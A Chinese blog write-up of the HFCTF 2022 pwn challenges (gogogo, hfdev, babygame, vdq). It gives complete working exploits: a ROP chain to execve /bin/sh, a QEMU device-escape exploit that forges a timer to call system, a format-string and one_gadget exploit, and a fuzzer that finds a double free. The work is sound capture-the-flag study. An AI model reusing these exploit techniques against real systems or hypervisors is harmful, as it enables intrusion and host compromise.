Logo xia0o0o0o

虎符2022 pwn 复现

March 23, 2022
17 min read
Table of Contents

HFCTF

没空去结束了之后简单做了一下pwn

gogogo

go写的,不太会分析,首先运行起来,搜索 LET'S BEGIN TO PLAY A GUESS GAME IN HFCTF! 能找到 main_main 但是断点下来没有用,搜了一下一个go程序的启动过程

// The main goroutine.
func main() {
	g := getg()
 
	// Racectx of m0->g0 is used only as the parent of the main goroutine.
	// It must not be used for anything else.
	g.m.g0.racectx = 0
 
	// Max stack size is 1 GB on 64-bit, 250 MB on 32-bit.
	// Using decimal instead of binary GB and MB because
	// they look nicer in the stack overflow failure message.
	if goarch.PtrSize == 8 {
		maxstacksize = 1000000000
	} else {
		maxstacksize = 250000000
	}
 
	// An upper limit for max stack size. Used to avoid random crashes
	// after calling SetMaxStack and trying to allocate a stack that is too big,
	// since stackalloc works with 32-bit sizes.
	maxstackceiling = 2 * maxstacksize
 
	// Allow newproc to start new Ms.
	mainStarted = true
 
	if GOARCH != "wasm" { // no threads on wasm yet, so no sysmon
		systemstack(func() {
			newm(sysmon, nil, -1)
		})
	}
 
	// Lock the main goroutine onto this, the main OS thread,
	// during initialization. Most programs won't care, but a few
	// do require certain calls to be made by the main thread.
	// Those can arrange for main.main to run in the main thread
	// by calling runtime.LockOSThread during initialization
	// to preserve the lock.
	lockOSThread()
 
	if g.m != &m0 {
		throw("runtime.main not on m0")
	}
 
	// Record when the world started.
	// Must be before doInit for tracing init.
	runtimeInitTime = nanotime()
	if runtimeInitTime == 0 {
		throw("nanotime returning zero")
	}
 
	if debug.inittrace != 0 {
		inittrace.id = getg().goid
		inittrace.active = true
	}
 
	doInit(&runtime_inittask) // Must be before defer.
 
	// Defer unlock so that runtime.Goexit during init does the unlock too.
	needUnlock := true
	defer func() {
		if needUnlock {
			unlockOSThread()
		}
	}()
 
	gcenable()
 
	main_init_done = make(chan bool)
	if iscgo {
		if _cgo_thread_start == nil {
			throw("_cgo_thread_start missing")
		}
		if GOOS != "windows" {
			if _cgo_setenv == nil {
				throw("_cgo_setenv missing")
			}
			if _cgo_unsetenv == nil {
				throw("_cgo_unsetenv missing")
			}
		}
		if _cgo_notify_runtime_init_done == nil {
			throw("_cgo_notify_runtime_init_done missing")
		}
		// Start the template thread in case we enter Go from
		// a C-created thread and need to create a new thread.
		startTemplateThread()
		cgocall(_cgo_notify_runtime_init_done, nil)
	}
 
	doInit(&main_inittask)
 
	// Disable init tracing after main init done to avoid overhead
	// of collecting statistics in malloc and newproc
	inittrace.active = false
 
	close(main_init_done)
 
	needUnlock = false
	unlockOSThread()
 
	if isarchive || islibrary {
		// A program compiled with -buildmode=c-archive or c-shared
		// has a main, but it is not executed.
		return
	}
	fn := main_main // make an indirect call, as the linker doesn't know the address of the main package when laying down the runtime
	fn()
	if raceenabled {
		racefini()
	}
 
	// Make racy client program work: if panicking on
	// another goroutine at the same time as main returns,
	// let the other goroutine finish printing the panic trace.
	// Once it does, it will exit. See issues 3934 and 20018.
	if atomic.Load(&runningPanicDefers) != 0 {
		// Running deferred functions should not take long.
		for c := 0; c < 1000; c++ {
			if atomic.Load(&runningPanicDefers) == 0 {
				break
			}
			Gosched()
		}
	}
	if atomic.Load(&panicking) != 0 {
		gopark(nil, nil, waitReasonPanicWait, traceEvGoStop, 1)
	}
 
	exit(0)
	for {
		var x *int32
		*x = 0
	}
}

于是决定去看一下 runtime.main ,然后就可以找到一个里面一堆 printf 的调用

  runtime_startTemplateThread();
  runtime_cgocall(error_code, v9);
LABEL_15:
  runtime_doInit(error_code);
  LOBYTE(off_580800) = 0;
  v10 = runtime_closechan(error_codec);
  v11 = 0;
  runtime_unlockOSThread();
  if ( !byte_58054C && !byte_58054E )
  {
    math_init();    // <--- 这里
    if ( !off_5805AC || !off_5805AC )
    {
      if ( off_5805A4 )
        runtime_gopark(error_codea, v10);
      runtime_exit(0);
      while ( 1 )
        MEMORY[0] = 0;
    }
    v13 = 0LL;
    runtime_mcall(error_codea);
  }
  v12 = 0;
  (*v16)();
}

里面每一个printf都打印单个字符(所以搜那个字符串定位不到这个函数)

  while ( (unsigned __int64)&v156 <= *(_QWORD *)(v0 + 16) )
    runtime_morestack_noctxt();
  fmt_Fprintf();
  fmt_Fprintf();
  fmt_Fprintf();
  fmt_Fprintf();
  fmt_Fprintf();
  fmt_Fprintf();
  fmt_Fprintf();
  fmt_Fprintf();
  fmt_Fprintf();
  fmt_Fprintf();
  fmt_Fprintf();
  fmt_Fprintf();
  fmt_Fprintf();
  fmt_Fprintf();
  fmt_Fprintf();
  fmt_Fprintf();
  fmt_Fprintf();
  fmt_Fprintf();
  fmt_Fprintf();
  fmt_Fprintf();
  fmt_Fprintf();
  fmt_Fprintf();
  fmt_Fprintf();
  fmt_Fprintf();
  fmt_Fprintf();

然后输入1416925456就可以进入一个猜数字游戏

  else if ( v2 != 1416925456 )
  {
    fmt_Fprintf();
    fmt_Fprintf();
    v67 = fmt_Fprintf();
    v222 = &unk_49D7C0;
    v223 = &off_4CFC10;
    fmt_Fprintln(v67);
    return;
  }

go的题目多半都是溢出,在这个函数里搜索一下read,scanf等等相关内容可以注意到

.text:0000000000494AE2                 lea     rax, unk_49D900
.text:0000000000494AE9                 mov     ebx, 800h
.text:0000000000494AEE                 mov     rcx, rbx
.text:0000000000494AF1                 call    runtime_makeslice
.text:0000000000494AF6                 lea     rbx, [rsp+4C0h+var_460]      
.text:0000000000494AFB                 mov     rax, qword ptr cs:unk_5514E0
.text:0000000000494B02                 mov     ecx, 800h                    <--- 栈溢出
.text:0000000000494B07                 mov     rdi, rcx
.text:0000000000494B0A                 call    bufio__ptr_Reader_Read
.text:0000000000494B0F                 movzx   edx, byte ptr [rsp+4C0h+var_460]
.text:0000000000494B14                 cmp     dl, 79h ; 'y'
.text:0000000000494B17                 jz      short loc_494B35
.text:0000000000494B19                 cmp     dl, 59h ; 'Y'
.text:0000000000494B1C                 jz      short loc_494B35
.text:0000000000494B1E                 xchg    ax, ax
.text:0000000000494B20                 call    runtime_arg
.text:0000000000494B25                 mov     rbp, [rsp+4C0h+var_8]
.text:0000000000494B2D                 add     rsp, 4C0h
.text:0000000000494B34                 retn

接下来就是怎么达到这里

.text:0000000000491E85                 lea     rcx, aDDDD      ; "%d %d %d %d"
.text:0000000000491E8C                 mov     edi, 0Bh
.text:0000000000491E91                 mov     r8d, 4
.text:0000000000491E97                 mov     r9, r8
.text:0000000000491E9A                 lea     rax, off_4D0340
.text:0000000000491EA1                 call    fmt_Fscanf

依次输入四个数字就可以开始猜,然后搜索一下Bulls and Cows游戏,返回正确且位置正确的个数和正确但位置错误的个数,能写个简单的猜测算法(其实也不用,自己玩完再send payload就好了) 开graph view开一下,溢出点在EXIT的位置,输入EXIT选项之后就可以传payload

算法也很容易,先生成一个全部的可能选取集合,然后抽一个数输入,得到 bulls and cows的值,将现在的输入和集合内的数进行比较,如果bull和cow都相同,就说明这个是可选项,反复操作,直到只剩下一个选项即可。

最后直接ret2syscall即可,exp如下

from ntpath import join
import readline
from pwn import *
import random
import math
 
# Bull and Cow game solver
class Solver:
    ans_length = 4
    candidates = []
 
    def fill_candidates(self):
        for i in range(10):
            for j in range(10):
                for k in range(10):
                    for l in range(10):
                        if i == j or i == k or i == l or j == k or j == l or k == l:
                            continue
                        self.candidates.append(str(i) + str(j) + str(k) + str(l))
    
    def __init__(self):
        self.fill_candidates()
        # print(self.candidates)
    
    def solve(self, sh):
        while len(self.candidates):  # still have candidates
            # randomly pick a candidate
            candidate = random.choice(self.candidates)
            # split candidate into 4 digits
            guess = candidate[0] + ' ' + candidate[1] + ' ' + candidate[2] + ' ' + candidate[3]
            # send guess to server
            sh.sendline(guess.encode())
            # get response from server
            response = sh.recvline().decode()
            if response.find('WIN') != -1:
                return guess
            bulls = int(response[0])
            cows = int(response[2])
            new_candidates = []
            for k in self.candidates:
                b = 0
                c = 0
                for i in range(self.ans_length):
                    if k[i] == candidate[i]:
                        b += 1
                    for j in range(self.ans_length):
                        if k[i] == candidate[j]:
                            c += 1
                c = c - b
                if b == bulls and c == cows:
                    new_candidates.append(k)
            self.candidates = new_candidates
            log.info("{} {} {}".format(guess, ':', response))
        log.info('Answer: {}'.format(self.candidates[0]))
 
 
sh = process('./gogogo') 
 
sh.sendlineafter(b'NUMBER:', b'1416925456')
 
sh.recvuntil(b'GUESS\n')
 
solver = Solver()
solver.solve(sh)
time.sleep(1)
 
sh.sendline(b"EXIT")
time.sleep(1)
 
sh.sendline(b"4")
time.sleep(1)
 
'''
.text:000000000047CF00                 call    sub_45D5C0
.text:000000000047CF05                 mov     rdi, [rsp+arg_8]  0x10
.text:000000000047CF0A                 mov     rsi, [rsp+arg_10] 0x18
.text:000000000047CF0F                 mov     rdx, [rsp+arg_18] 0x20
.text:000000000047CF14                 mov     rax, [rsp+arg_0]  0x8
.text:000000000047CF19                 syscall                 ; LINUX -
'''
 
payload =  cyclic_metasploit(1120)
payload += p64(0x000000000045C900) # runtime.read
payload += p64(0x0000000000402e7b) # add rsp 0x30; nop; ret;
payload += p64(0x0)                # fd
payload += p64(0x552A00)           # bss
payload += p64(0x8)                # count
payload += p64(0xc0ffee)           # pop rax; ret;
payload += p64(0x000000000047CF00)
payload += p64(0x000000000047CF00)
payload += p64(0x000000000047CF00)
payload += p64(0x000000000047CF00)
payload += p64(0x3b)               # sys_execve;
payload += p64(0x552A00)           # bss
payload += p64(0x0)                # rsi
payload += p64(0x0)                # rdi
 
#gdb.attach(sh, 'b *0x000000000045C900')
 
sh.sendline(payload)
time.sleep(1)
sh.recvuntil(b'BYE~')
sh.sendline(b'/bin/sh\x00')
 
sh.interactive()
#sh.sendlineafter()

hfdev

这个感觉最麻烦的地方是没有DeviceState的符号,但是应该很容易可以注意到在 hfdev_process

        if ( (unsigned __int64)(unsigned __int16)result > *(_QWORD *)(a1 + 2672) )
          LOWORD(result) = *(_QWORD *)(a1 + 2672);
        v10 = (unsigned __int16)result;
        result = 0LL;
        do
        {
          *(_BYTE *)(a1 + result + 3720) ^= *(_BYTE *)(a1 + result + 2703);
          ++result;
        }
        while ( v10 >= (int)result );

这一部分的>=很可能会导致一个byte的溢出, 接下来分析realize函数,注意到

  v2 = g_malloc0(48LL);
  timer_init_full(v2, 0, 1, 1, 0, (unsigned int)hfdev_func, (__int64)v1);
  v1[563] = v2;

v1[563] 处存放了一个QEMUTimer,回调函数为 hfdev_func 然后

  v3 = qemu_bh_new_full(hfdev_process, v1, "hfdev_process");
  v1[561] = 1LL;
  v1[564] = v3;

v1[564]处存放了一个qemu bottom half,结构体如下

struct QEMUBH {
    AioContext *ctx;
    QEMUBHFunc *cb;     // callback, 触发时调用
    void *opaque;
    QEMUBH *next;
    bool scheduled;
    bool idle;
    bool deleted;
};

static gboolean
aio_ctx_dispatch(GSource     *source,
                 GSourceFunc  callback,
                 gpointer     user_data)
{
    AioContext *ctx = (AioContext *) source;
 
    assert(callback == NULL);
    aio_dispatch(ctx);
    return true;
}

aio_dispatch 会调用 aio_bh_poll,其中会调用 aio_bh_call 执行bottom half的callback 以及 hfdev_port_write

    case 12LL:
      qemu_bh_schedule(*((_QWORD *)a1 + 564));
      break;

qemu_bh_schedule 会执行 aio_notify,所以 case 12:的时候会触发这个bh callback

  v1[335] = 0LL;
  memory_region_init_io(v1 + 300, v1, hfdev_ioport_ops, v1, "hfdev-pmio", 32LL);
  return pci_register_bar(a1, 0LL, 1LL, v1 + 300);

然后就是init pmio,大小32 bytes。接下来分析 hfdev_process 函数

    case 0x30:
      result = *(unsigned __int16 *)&a1->pad3[41];
      v11 = *(unsigned __int16 *)&a1->pad3[43];
      if ( (unsigned __int16)result <= 0x100u && (unsigned __int16)v11 <= 0x100u )
      {
        v12 = *(_QWORD *)&a1->pad3[1832] == 0LL;
        *(_QWORD *)&a1->pad3[24] = result;
        *(_QWORD *)&a1->pad3[1840] = (char *)v1 + v11;
        if ( !v12 )
          return timer_mod(a1->timer, *(_QWORD *)&a1->pad3[32]);
      }
      break;

case 0x30:的时候会调用timer_mod

/**
 * timer_mod:
 * @ts: the timer
 * @expire_time: the expire time in the units associated with the timer
 *
 * Modify a timer to expiry at @expire_time, taking into
 * account the scale associated with the timer.
 *
 * This function is thread-safe but the timer and its timer list must not be
 * freed while this function is running.
 */
void timer_mod(QEMUTimer *ts, int64_t expire_timer);

可以知道这会触发之前的timer,也就是会接着调用hfdev_func,其中会修改state->pad3[1832],所以根据v12的值,只能调用一次,同时可以注意到,hfdev_func

  v1 = *(_QWORD *)&a1->pad3[24];
  *(_QWORD *)&a1->pad3[1832] = 0LL;
  if ( v1 <= 0x100 )
  {
    memcpy(&a1->pad3[*(_QWORD *)&a1->pad3[16] + 1064], *(const void **)&a1->pad3[1840], v1);
    result = *(_QWORD *)&a1->pad3[24];
    *(_QWORD *)&a1->pad3[16] += result;
  }

a1>pad3[16]不会被置0,所以如果能够多次触发,就能实现越界读写。注意到

    case 0x10:
      v9 = *(_WORD *)&a1->pad3[43];
      result = *(unsigned __int16 *)&a1->pad3[45];
      if ( v9 == 8706 )
      {
        v13 = 512;
        if ( (unsigned __int16)result <= 0x200u )
          v13 = *(unsigned __int16 *)&a1->pad3[45];
        if ( (_WORD)result )
        {
          v14 = (unsigned __int16)v13;
          v15 = a1->pad3[41];
          v16 = a1->pad3[42];
          result = (__int64)&a1->pad3[47];
          v17 = &a1->pad3[v13 - 1 + 48];
          do
          {
            v18 = *(_BYTE *)result++;
            *(_BYTE *)(result + 1016) = v16 ^ (v15 + v18);
            *(_QWORD *)&a1->pad3[16] = v14;
          }
          while ( v17 != (char *)result );
        }
      }

可以先让a1->pad3[16]=512,第一次触发timer时,a1->pad3[16]+=0x100,也就是a1->pad3[16]=768,而上面1 byte溢出的溢出地址就是由a1->pad3[16]控制的,这个时候可以溢出到 a1->pad3[1832]也就是控制timer是否能够触发的标志位,就能实现多次触发时钟。因为能够多次触发时钟,所以我们可以获得一个很大范围的数据的读取,再看hfdev_processcase 0x20:的部分(这里还原了一些符号)

    case 0x20:
      v7 = *(unsigned __int16 *)&a1->control.field_9[2];
      copy_cursor = a1->copy_cursor;
      if ( v7 > copy_cursor )
        v7 = (unsigned __int16)copy_cursor;
      return cpu_physical_memory_rw(*(_QWORD *)&a1->control.fn1, (__int64)a1->pad3, v7, 1u);

这里可以让我们把数据读取回一个给定的物理地址,而v7是我们可控的长度

*(_QWORD *)&a1->pad3[1840] = (char *)v1 + v11;

对比这个*(_QWORD *)&a1->pad3[1840],就是timer callback中的src地址,我们可以泄漏这个地址(v1 + v11,符号化之后即为hfdev_state中控制结构体的起始地址加上第二个参数)。这个地址在堆区,可以先泄漏这个地址,然后计算出timer的地址。虽然在case 0x20:v11的大小做了检查,但是由于之前增加了cursor导致我们使用hfdev_processhfdev_func都能够访问更大的范围,所以在触发timer,callback还未执行前,可以重新利用0x2022功能修改掉hfdev_func中的复制目标,正好,在hfdev_port_writecase 0x10:中就有能够修改callback触发延迟的功能。

    case 10LL:
      a1->time = qemu_clock_get_ns(1LL) + 100000000 * a3;
      break;

这样我们就可以在触发前利用溢出,将bh->cb或者timer->cb复制到timer(这时的cursor指向timer)上,接下来就可以计算pie偏移,程序基址,system plt等等。

然后根据得到的地址,我们可以伪造一个timer,因为我们之前已经得到了发送的control结构的地址,而这个结构中有一块很大的buffer,足够构造一个fake timer (或者fake bh也可以) 将这个timer的callback设置为system,并且opaque设置为命令的地址,这样该指针就会被rdi寄存器传递,然后触发timer即可(注意fake timer也要有timer_list)完整exp如下。

#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>
#include <fcntl.h>
#include <assert.h>
#include <inttypes.h>
#include <sys/io.h>
 
#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT) //4096
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)
 
#define PMIO_BASE 0x000000000000c040
 
struct Control
{
    char switcher;
    __attribute__((packed)) __attribute__((aligned(1))) uint16_t fn1;
    __attribute__((packed)) __attribute__((aligned(1))) uint16_t fn2;
    __attribute__((packed)) __attribute__((aligned(1))) uint16_t fn3;
    char field_9[1017];
};
 
int fd;
 
uint32_t page_offset(uint32_t addr)
{
    return addr & ((1 << PAGE_SHIFT) - 1);
}
 
uint64_t gva_to_gfn(void *addr)
{
    uint64_t pme, gfn;
    size_t offset;
    offset = ((uintptr_t)addr >> 9) & ~7;
    lseek(fd, offset, SEEK_SET);
    read(fd, &pme, 8);
    if (!(pme & PFN_PRESENT))
        return -1;
    gfn = pme & PFN_PFN;
    return gfn;
}
 
uint64_t gva_to_gpa(void *addr)
{
    uint64_t gfn = gva_to_gfn(addr);
    assert(gfn != -1);
    return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}
 
uint64_t pmio_read(uint64_t port)
{
    uint64_t val;
    val = inw(PMIO_BASE + port);
    return val;
}
 
void pmio_write(uint64_t port, uint64_t val)
{
    outw(val, PMIO_BASE + port);
}
 
void trigger_process(void)
{
    pmio_write(12, 0);
}
 
int main(int argc, char **argv)
{
    int ret = 0;
    fd = open("/proc/self/pagemap", O_RDONLY);
    if (fd < 0)
    {
        perror("open");
        exit(1);
    }
    iopl(3);
 
    struct Control *control = (struct Control *)malloc(sizeof(struct Control));
    uint32_t control_paddr = gva_to_gpa(control);
    printf("[*] control_paddr: 0x%x\n", control_paddr);
 
    // set addr
    pmio_write(2, control_paddr & 0xffff);
    pmio_write(4, (control_paddr >> 16) & 0xffff);
 
    uint64_t timer_enabled = pmio_read(6);
    printf("[*] timer_enabled: 0x%llx\n", timer_enabled);
    uint64_t copy_cursor = pmio_read(8);
    printf("[*] copy_cursor: 0x%llx\n", copy_cursor);
 
    // set copy control len to 0x400
    pmio_write(6, 0x400);
 
    // now set cursor to 0x200
    control->switcher = 0x10;
    control->fn1 = 0;
    control->fn2 = 0x2202;
    control->fn3 = 0x200;
    trigger_process();
    sleep(1);
 
    printf("[*] trigger timer\n");
    // now trigger timer, cursor should be 0x300 after timer callback
    memset(control, 0, sizeof(*control));
    control->switcher = 0x30;
    control->fn1 = 0x100;
    control->fn2 = 0;
    trigger_process();
    sleep(1);
 
    // check timer_enabled
    timer_enabled = pmio_read(6);
    assert(timer_enabled == 0);
    printf("[*] timer_enabled: 0x%llx\n", timer_enabled);
    copy_cursor = pmio_read(8);
    printf("[*] copy_cursor: 0x%llx\n", copy_cursor);
 
    /*
        do
        {
          a1->pad3[result] ^= *((_BYTE *)&a1->control.fn3 + result);
          ++result;
        }
        while ( v10 >= (int)result );    
        // v10 = 0x300 now, and timer_enabled is located at a1->pad3[0x300]
        // so we set field_9 + 0x300 to 0x1, and trigger hfdev_process (case 0x10)
        // then we can flip the timer_enabled bit and trigger timer callback again.
    */
    printf("[*] flip timer_enabled\n");
    memset(control, 0, sizeof(*control));
    control->switcher = 0x10;
    control->fn1 = 0;
    control->fn2 = 0x2022;
    control->fn3 = 0x300;
    control->field_9[0x300] = 0x1;
    trigger_process();
    printf("[*] waiting...\n");
    sleep(3);
 
    // check timer_enabled
    timer_enabled = pmio_read(6);
    printf("[*] timer_enabled: 0x%llx\n", timer_enabled);
    printf("[+] enable timer again!\n");
    copy_cursor = pmio_read(8);
    printf("[*] copy_cursor: 0x%llx\n", copy_cursor);
    sleep(1);
 
    // trigger timer again
    printf("[*] trigger timer again\n");
    memset(control, 0, sizeof(*control));
    control->switcher = 0x30;
    control->fn1 = 0x10;
    control->fn2 = 0x0;
    trigger_process();
    for (int i = 0; i < 3; i++)
    {
        printf("[*] waiting...\n");
        sleep(3);
    }
 
    // set copy src to struct Control
    memset(control, 0, sizeof(*control));
    control->switcher = 0x30;
    control->fn1 = 0x0;
    control->fn2 = 0x0;
    trigger_process();
    sleep(1);
 
    timer_enabled = pmio_read(6);
    printf("[*] timer_enabled: 0x%llx\n", timer_enabled);
    copy_cursor = pmio_read(8);
    printf("[*] copy_cursor: 0x%llx\n", copy_cursor);
 
    // leak timer address
    char *buf = (char *)malloc(0x1000);
    uint32_t buf_paddr = gva_to_gpa(buf);
    printf("[*] buf: 0x%llx buf_paddr: 0x%x\n", buf, buf_paddr);
    memset(control, 0, sizeof(*control));
    control->switcher = 0x20;
    *((uint32_t *)&(control->fn1)) = buf_paddr;
    *(uint16_t *)&control->field_9[2] = 0x310;
    trigger_process();
    sleep(5);
 
    // char *buf = (char *)malloc(0x1000);
    // uint32_t buf_paddr = gva_to_gpa(buf);
    uint64_t control_addr = *(uint64_t *)&buf[0x308];
    printf("[+] control_addr: 0x%llx\n", control_addr);
    uint64_t timer = control_addr + 0x12b8;
    uint64_t bh = control_addr + 0x12f8;
    uint64_t timer_list = control_addr - 0x1110b98;
    printf("[+] timer: 0x%llx bh: 0x%llx timer_list: 0x%llx\n", timer, bh, timer_list);
 
    // flip timer_enabled
    printf("[*] flip timer_enabled\n");
    memset(control, 0, sizeof(*control));
    control->switcher = 0x10;
    control->fn1 = 0;
    control->fn2 = 0x2022;
    control->fn3 = 0x300;
    control->field_9[0x300] = 0x1;
    trigger_process();
    printf("[*] waiting...\n");
    sleep(3);
 
    // check timer_enabled
    timer_enabled = pmio_read(6);
    assert(timer_enabled > 0);
    printf("[*] timer_enabled: 0x%llx\n", timer_enabled);
 
    // set timer delay
    pmio_write(10, 0x150);
    sleep(1);
 
    // trigger timer again
    printf("[*] trigger timer again\n");
    memset(control, 0, sizeof(*control));
    control->switcher = 0x30;
    control->fn1 = 0x8; // cursor = 0x318
    control->fn2 = 0x0; // this will overwrite timer pointer
    trigger_process();  // so don't trigger timer until construct a fake timer
    sleep(1);
 
    // overwrite copy src to bh
    printf("[*] overwrite copy src to timer\n");
    memset(control, 0, sizeof(*control));
    control->switcher = 0x10;
    control->fn1 = 0x0;
    control->fn2 = 0x2022;
    control->fn3 = 0x30f; // don't overflow to bh
    *(uint64_t *)&control->field_9[0x308] = ((bh + 0x10) ^ control_addr);
    
    trigger_process();
    sleep(1);
 
    printf("[*] waiting...");
    for (int i = 0; i < 12; ++i)
    {
        printf(".");
        sleep(3);
    }
    printf("\n");
 
    printf("[*] copy timer\n");
    memset(buf, 0, 0x1000);
    memset(control, 0, sizeof(*control));
    control->switcher = 0x20;
    *((uint32_t *)&(control->fn1)) = buf_paddr;
    *(uint16_t *)&control->field_9[2] = 0x318;
    trigger_process();
    sleep(5);
 
    uint64_t hfdev_process = *(uint64_t *)&buf[0x310];
    uint64_t hfdev_func = hfdev_process + 0x1c0;
    uint64_t base_addr = hfdev_process - 0xb0fd0;
    uint64_t slide = hfdev_process - 0x380fd0;
    uint64_t system_plt = slide + 0x2d6610;
    printf("[+] hfdev_process: 0x%llx\n", hfdev_process);
    printf("[+] hfdev_func: 0x%llx\n", hfdev_func);
    printf("[+] base_addr: 0x%llx\n", base_addr);
    printf("[+] slide: 0x%llx\n", slide);
    printf("[+] system_plt: 0x%llx\n", system_plt);
 
    // flip timer_enabled
    printf("[*] flip timer_enabled\n");
    memset(control, 0, sizeof(*control));
    control->switcher = 0x10;
    control->fn1 = 0;
    control->fn2 = 0x2022;
    control->fn3 = 0x300;
    control->field_9[0x300] = 0x1;
    trigger_process();
    printf("[*] waiting...\n");
 
    printf("[*] overwrite timer to fake timer\n");
    memset(control, 0, sizeof(*control));
    control->switcher = 0x10;
    control->fn1 = 0x0;
    control->fn2 = 0x2022;
    control->fn3 = 0x317; // don't overflow to bh
    *(uint64_t *)&control->field_9[0x310] = ((control_addr + 0x10) ^ hfdev_process);
    trigger_process();
    sleep(1);
    
    struct FakeTimer
    {
        int64_t expire_time;
        void *timer_list;
        void *cb;
        void *opaque;
        void *next;
        int attributes;
        int scale;
    };
    struct FakeTimer ft = {
        .expire_time = 0x100,
        .timer_list  = timer_list,
        .cb          = system_plt,
        .opaque      = 0x0,
        .next        = 0x0,
        .attributes  = 0x0,
        .scale       = 0x0,
    };
    pmio_write(10, 0x10);
    // copy fake timer to control
    uintptr_t ftaddr = (uintptr_t)(((uint64_t)control) + 0x10);
    memcpy((void *)ftaddr, &ft, sizeof(ft));
    struct FakeTimer *fake_timer = (struct FakeTimer *)((((uint64_t)control) + 0x10));
    fake_timer->opaque = (void *)(control_addr + 0x100);
    printf("[*] set fake_timer->opaque: 0x%llx\n", fake_timer->opaque);
    strcpy((char *)(((uint64_t)control) + 0x100), "ls -al");
 
    sleep(1);
    // trigger timer again
    printf("[*] trigger timer again\n");
    control->switcher = 0x30;
    control->fn1 = 0x8;
    control->fn2 = 0x0;
    trigger_process();
 
    sleep(1);
    while(1) { }
 
    return 0;
}

总体思路不难,但细节需要考虑一下,如果缺少对qemu方面的基本了解的话,逆向可能会有点麻烦。

babygame

确实是最简单的,第一个栈溢出泄漏一个栈地址,然后用字符串格式化泄漏canary和libc,改返回地址到main,再次栈溢出跳转one gadget即可。

from pwn import *
 
arr = [0, 0, 2, 1, 2, 0, 1, 0, 0, 1, 2, 2, 0, 2, 1, 1, 1, 2, 1, 0, 0, 0, 1, 0, 1, 2, 2, 0, 1, 2, 2, 0, 1, 1, 2, 1, 1, 2, 1, 0, 0, 2, 1, 0, 2, 2, 1, 2, 1, 2, 1, 1, 1, 1, 0, 0, 0, 1, 2, 0, 1, 1, 1, 1, 0, 2, 2, 0, 1, 2, 0, 0, 2, 1, 0, 0, 0, 0, 1, 1, 2, 1, 1, 0, 1, 2, 0, 1, 0, 2, 0, 0, 0, 0, 1, 2, 2, 0, 2, 2,  ]
 
sh = process('./babygame')
 
libc = ELF('./libc-2.31.so')
 
payload1 = b"A"*(256) + b"A"*0x8 + b"A"*0x8
sh.recvuntil(b"Please input your name:")
sh.send(payload1)
sh.recvuntil(b'A'*(256+0x8+0x8))
 
stackaddr = u64(sh.recv(6).ljust(8, b'\x00'))
target = stackaddr - 0x218
log.success("stackaddr: " + hex(stackaddr))
 
for i in arr:
    sh.recvuntil(b":")
    sh.sendline(str(i).encode())
 
sh.recvuntil(b"you.\n")
sh.sendline(b"%13$p%5219x%10$hn%27$paaa%29$paa"+p64(target)+p64(target))
 
log.info("back to main if we are lucky")
 
r1 = sh.recv(18)
canary = int(r1, 16)
r1 = sh.recvuntil(b'0x')
r1 = "0x"+sh.recv(12).decode()
# print(r1)
atoiaddr = int(r1, 16)
libcbase = atoiaddr - 0x445f4
r1 = sh.recvuntil(b'aaa')
r1 = sh.recv(14)
paddr = int(r1, 16)
programbase = paddr - 0x12ef
onegadget = libcbase + 0xe3b31
log.success("canary: {}".format(hex(canary)))
log.success("atoiaddr: {}".format(hex(atoiaddr)))
log.success("libcbase: {}".format(hex(libcbase)))
log.success("programbase: {}".format(hex(programbase)))
log.success("onegadget: {}".format(hex(onegadget)))
 
payload =  b"AAAA\x00\x00\x00\x00" + 35 * p64(canary)
payload += b'AAAAAAAA'
payload += p64(onegadget)
 
time.sleep(1)
sh.send(payload)
time.sleep(1)
sh.sendline(b'0')
 
sh.interactive()

vdq

rust写的,不太懂,ida分析出来非常复杂,对rust字符串的分析稍微有点问题(因为字符串结尾的问题),经过逆向分析,程序需要用["op1", "op2", "op3"]\n$这样的方式输入,没有去除符号,所以能直接确定op的类型,有add,remove,view,append,archive,并且add,append需要数据输入。

因为输入很简单,但整个程序分析起来很复杂,先选择fuzz一下,脚本如下

import random
from subprocess import PIPE, STDOUT
from psutil import Popen
from pwn import *
import string
 
op = ["\"Add\"", "\"Remove\"", "\"Append\"", "\"View\"", "\"Archive\""]
 
while True:
 
    opcnt = random.randint(0, 30)
    oplist = "["
    inputline = ""
    linecnt = 0
    for i in range(opcnt):
        opindex = random.randint(0, len(op) - 1)
        oplist += op[opindex]
        if opindex == 0 or opindex == 2:
            inputline += str(cyclic_metasploit(random.randint(0, 100)).decode())+"\n"
        if i != opcnt - 1:
            oplist += ", "
        else:
            oplist += "]"
    oplist += "\n$\n"
    # write to input file
    with open("input", "w") as f:
        f.write(oplist)
        f.write(inputline)
    
    cmd = 'cat input | RUST_BACKTRACE=1 ./vdq'
    p = Popen(cmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=STDOUT, close_fds=True)
    output, err = p.communicate()
    if "Aborted" in output.decode():
        print(output.decode())
        break

很快找到了一个double free,简化一下获得的poc

["Add", "Add", "Remove", "Archive", "Add", "Add", "Add", "View", "Remove", "Remove", "Remove"]
$
Aa0Aa1Aa2Aa3Aa
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7A

调试定位崩溃位置

gef➤  bt
#0  0x00007ffff7a22e87 in raise () from ./libc-2.27.so
#1  0x00007ffff7a247f1 in abort () from ./libc-2.27.so
#2  0x00007ffff7a6d837 in ?? () from ./libc-2.27.so
#3  0x00007ffff7a748ba in ?? () from ./libc-2.27.so
#4  0x00007ffff7a7c0ed in free () from ./libc-2.27.so
#5  0x000055555556d88e in alloc::alloc::dealloc (ptr=0x555555a38720, layout=...) at /rustc/7eac88abb2e57e752f3302f02be5f3ce3d7adfb4/library/alloc/src/alloc.rs:92
#6  0x000055555556e07d in alloc::alloc::{{impl}}::dealloc (self=0x555555a38440, ptr=..., layout=...) at /rustc/7eac88abb2e57e752f3302f02be5f3ce3d7adfb4/library/alloc/src/alloc.rs:225
